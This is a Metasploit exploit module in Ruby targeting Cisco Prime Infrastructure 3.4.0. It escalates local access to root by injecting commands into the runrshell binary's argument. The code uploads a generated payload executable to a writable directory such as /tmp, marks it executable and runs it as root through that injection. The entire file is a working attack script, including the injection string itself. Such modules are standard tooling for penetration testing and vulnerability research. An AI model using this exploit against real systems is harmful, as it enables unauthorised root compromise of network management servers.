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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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  Rank = ExcellentRanking
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  include Msf::Post::File
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  include Msf::Exploit::EXE
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  include Msf::Exploit::FileDropper
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Cisco Prime Infrastructure Runrshell Privilege Escalation',
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        'Description' => %q{
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          This modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The
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          runrshell binary is meant to execute a shell script as root, but can be abused to inject
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          extra commands in the argument, allowing you to execute anything as root.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [
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          'Pedro Ribeiro <pedrib[at]gmail.com>', # First discovery
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          'sinn3r' # Metasploit module
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        ],
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        'Platform' => ['linux'],
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        'Arch' => [ARCH_X86, ARCH_X64],
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        'SessionTypes' => ['shell', 'meterpreter'],
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        'DisclosureDate' => '2018-12-08',
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        'Privileged' => true,
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        'References' => [
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          ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/cisco-prime-infrastructure.txt#L56'],
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        ],
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        'Targets' => [
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          [ 'Cisco Prime Infrastructure 3.4.0', {} ]
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        ],
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_advanced_options [
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      OptString.new('WritableDir', [true, 'A directory where we can write the payload', '/tmp'])
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    ]
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  end
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  def exec_as_root(cmd)
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    command_string = "/opt/CSCOlumos/bin/runrshell '\" && #{cmd} #'"
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    vprint_status(cmd_exec(command_string))
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  end
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  def exploit
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    payload_name = "#{Rex::Text.rand_text_alpha(10)}.bin"
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    exe_path = Rex::FileUtils.normalize_unix_path(datastore['WritableDir'], payload_name)
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    print_status("Uploading #{exe_path}")
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    write_file(exe_path, generate_payload_exe)
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    unless file?(exe_path)
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      print_error("Failed to upload #{exe_path}")
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      return
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    end
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    register_file_for_cleanup(exe_path)
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    print_status('chmod the file with +x')
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    exec_as_root("/bin/chmod +x #{exe_path}")
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    print_status("Executing #{exe_path}")
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    exec_as_root(exe_path)
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  end
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end
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